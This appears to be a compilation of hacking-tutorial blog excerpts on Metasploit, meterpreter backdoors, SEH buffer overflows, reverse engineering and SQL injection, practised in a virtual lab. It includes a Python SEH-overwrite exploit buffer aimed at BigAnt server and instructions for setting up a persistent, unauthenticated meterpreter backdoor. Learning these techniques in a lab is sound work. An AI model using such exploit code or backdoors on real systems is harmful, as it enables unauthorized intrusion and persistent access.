Critical System Files

Here are some critical system files that must be protected by applying correct file permission. Applying wrong file permission may result in complete system takeover by the hacker/cracker.

image source : www.linuxsecurity.com

"the quiter you become, the more you are able to hear.."

Hex Generator

Finding bad character when developing an exploit is important to make the exploit works properly as we want. In my post about searching bad character I used a perl script to generate a series of hex character start from 00 to FF. Here's other script used to generate it. I found the script at this site. It is written in python language.

Download here.

Script:

#HEX Generator

#http://www.digital-echidna.org

#0x04112011

def gene():

        c=0

        x=0

        hslgen='"'

        while x <= 255:

          hslhex=hex(x)

          if c == 16:

            hslgen=hslgen+'"\n"'

            c=0

          if x <= 16:

            hslgen=hslgen.replace('0x','\\x0')

          hslgen=hslgen+hslhex

          x+=1

          c+=1

        print "\n#Generated with dE HEX Generator"

        print "#http://www.digital-echidna.org\n"

        print hslgen.replace('0x','\\x')+'"\n'

if __name__ == "__main__":

        gene()

"the quieter you become, the more you are able to hear.."

Metasploit ~ Upgrade Command Shell into Meterpreter

As I said in my post about meterpreter. It is an advanced payload that can do a lot of advanced task after a system is exploited. But why if we can only get a normal command shell after exploitation? Its rather difficult of course to do the post exploitation step. But that doesn't matter now, because one of the newer features in the Metasploit Framework is its ability to upgrade a command shell payload to a Meterpreter shell payload once the sytem has been exploited. This can be done by issuing "sessions -u <selected session>". This is usefull if we use a command shell payload as an initial stager and then find that this newly exploited system would make the perfect launching pad for further attacks.

Ok, let get started. I'll use a metasploit console version and the system that will be exploited is a Windows XP SP3 machine in my Virtualbox.

Advanced Web Application Hacking

Nowadays, most people especially engineers have a website. They usually use it to share their activity, show their works, make a portofolio, etc. But, little people concern about the security of their website. They usually won't do something about the security of their website before it is attacked by hacker. They don't know the importance of their web security before someone breaks into it.

In this post, I'll try to show how to gain a root access through a web application. There are a lot of method to do that, this is one of them. The web application that will be used is DVWA(Damn Vulnerable Web Application). You can download it here. The installation is there too.

- Start up your apache and mysql.

Interact With Metsvc Backdoor

To interact with the meterpreter backdoor service we've created before, we can use a multi_handler with a windows/metsvc_bind_tcp payload to connect with the backdoor. 

To remind you again, this backdoor require no authentication to connect. So it is a dangerous backdoor to use since anyone can use it too.

Ok, here's a way to connect to the metsvc backdoor we've created before.

- Load up your msfconsole

Meterpreter Backdoor

Again, meterpreter is the most convenient payload to use. Part of the hacking framework is creating a backdoor for later use so we don't need to go through normal attack to access the system again. Meterpreter can make a backdoor on a system that we've successfully exploit. Make us can get a meterpreter shell anytime we want. Cool right..  :D

There's a module called "metsvc" that will create a persistent backdoor on a system. This module is created by Alexander Sotirov. Read more here http://www.phreedom.org/software/metsvc/. One thing to keep in mind, metsvc requires no authentication. This means anyone can access our backdoor if they know the port that we use. This is not a good thing if you are performing a real pentest.

Meterpreter ~ Basic Usage

Here's some basic meterpreter commands you can practice..  :)

- help

Display all commands that can be executed by meterpreter.

- background

Return to the msf shell and send the current meterpreter session into background. To interact with it again, just type 'sessions -i [id]'

Meterpreter

Meterpreter (meta-interpreter), is an advanced payload included in the Metasploit Framework. In my opinion this is the best payload ever. It can upload/download victim's files, read stored password hashes, keylogging, and even run a vnc server on the victim's machine. 

Meterpreter compatible with most of the exploit and auxiliary on metasploit. Making it the most sophisticated and the most used payload by pentesters and hackers. The way that it accomplishes this is by allowing exploit developers to write their own extensions in the form of shared object (DLL) files that can be uploaded and injected into a running process on a target computer after exploitation has occurred. 

Exploit Combo ~ BeeF & Metasploit

Exploitation is so much fun and exciting for me..  :D

In this post I'll try to combine BeeF and Metasploit to create an Attack. BeeF, browser exploitation framework is a great tool to exploit the XSS Vulnerability on a site. My target for the attack is still my XP SP3 Machine.

Lets get started..  >:)

- First, start your BeeF-ng services..

Working With Metasploit Auxiliary

Metasploit is a powerfull framework to do an exploitation. There are a lot of thing we can do with it. Exploits, Payloads, Encoders, and Auxiliaries are ready to be used to do an exploitation. In this post I'll explain a little about metasploit auxiliary and how to use it. 

Auxiliary is a set of tools developed to perform reconnaissance like scanning, sniffing, fingerprinting and the other security tasks. With this auxiliary, we can use metasploit to do the earlier hacking framework without other tools, just metasploit and its auxiliary and the other modules, this will make our security tasks far more easier.

So, here's an example the use of an auxiliary..

SEH Based Buffer Overflow : File Sharing Wizard

In this post, I'll try to exploit a software called "File Sharing Wizard" version 1.5.0 build 26-8-2008. This software have a SEH protection. So, I'll use the technique like when I exploit BigAnt server. 

Lets get started..  

- First thing to do is install the software on your xp machine.

- This is a file server, so we will use a remote exploit for our fuzzer.

- Searching what port this software is running.

Search for "Bad Characters"

In my post about exploiting BigAnt server, when generating payload I'm entering 0x20 and 0x25 as bad character. How to search for a bad character in the application that will be exploited? Here's the way to do it. The application that will be used is still BigAnt server, but I think the method to find the bad character is the same in all aplication. This knowledge is essential because without entering the right bad character, our payload won't work properly as we wish.

Lets begin..  :D

- Use this fuzzer as the starting point.

Fuzzer:

#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

Reverse Engineering Mini-Stream RM-MP3 Converter

Reverse engineering is an interesting advanced hacking technique to be learned. Once we knew the technique I'm sure that when there is a bug in a program, although the bug is only a little, we can exploit that vulnerable point to hack our target machine. 

So, at the other post we've already do a reverse engineering technique against WarFTP. In this post we will try to do it with a software called Mini-Stream RM-MP3 Converter.

Lets get started.

- First, Install the software on your XP machine.

- I'll search for some information in www.exploit-db.com/search.

Reverse Engineering WarFTP

Finally, after preparing OllyDbg and WarFTP on our machine, its time to put reverse engineering in action.

What I do in this post is based on my sensei's book titled "Harmless Hacking". Lets get started. 

- Start your Windows XP machine.

- Open WarFTP and start its service by clicking Properties > Start Service

Introduction to OllyDbg

In this post, we've learned about reverse engineering. What we will talk now is one of the tool used for that called OllyDbg.

Before discussing OllyDbg, we must know what is debugging. Debugging is a structured process to find and reduce the number of bugs or defects in a computer program and repair it. When there are a bug in a system, especially when there are lots of subsystem in it will make the debugging process become harder because a changes in one may cause bugs appear in the other.

Reverse Engineering at Glance

Lets talk about Reverse Engineering briefly, because this is also important thing to know when you want to become an expert hacker. 

Reverse Engineering is an activity to discover the material how a something is made, how something is works and what is its purpose. In the other word, discovering the technological principles of something by analizing its structure, function and operation. Usually the thing that want to be reverse engineered is taken apart from its original form then analyze each part one by one throughly.

Introduction to SQL Injection & Blind SQL Injection

MySQL is one of the most famous database server used by many people in the world.  However, many administrator don't set the MySQL correctly and that will make the database can be Injected by a hacker.

SQL Injection is a hacking technique that utilize the low security settings or poorly designed database on a server. SQL Injection usually done by inserting a series of code to the url or  a form of a website. The vulnerability appear when the user input is not filtered correctly, so when the user insert a SQL character into a form, that code will be executed by the database server. To know where is a site is injectable or not, simply put ' character after the url of the site. If an error appear like "You have an error in your SQL syntax, bla bla bla..." then the site is 99% injectable.

Buffer Overflow : Direct Return & SEH Based

At my other post we've known a little thing about buffer overflow. Now we will talk two cases that happened when we do a Buffer Overflow that is Direct Return Exploit and SEH Based Exploit and whats the difference between those two.

- Direct Return Exploit

Direct return exploit happened to a program that can't handle an exception. A condition where an application trying to execute a code outside its normal work cycle. As the results, when an application that can't handle an exeption buffer overflowed, the EIP registered in the buffer memory will directly overwritten by the rest of the data that we use to overflow the application.

Introduction to Buffer Overflow : CPU Register

 If we want to master the Buffer Overflow technique, first we must have a knowledge in CPU Register. Register is the part of the processor's memory that can be accessed with a high speed and always used by microprocessor as the medium to do its work.

An x86 based CPU used 8 register : EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP. Each of them designed for a specific job that make the CPU process the information eficiently.

1. EAX Register

Used to perform calculations and store the value returned from the function call. Basic operations such ass add, subtract, and compare is optimized in EAX Register. Special operations such as multiplication and divide are done by EAX Register.

Metasploit at Glance

There're a lot of explanation of metasploit out there. Buy I'll try to explain it with my point of view.

Metasploit is the name of a project and a framework. 
a. Metasploit Project
Metasploit   project   is   an   open-source,   computer   security   project   that provides information about security vulnerabilities and aids in penetration testing. Some of its sub-projects are the famous metasploit framework, opcode database, shellcode archive, and security research. Simply, metasploit project is the procjet or activity around computer security section and the one that created metasploit framework.

b. Metasploit Framework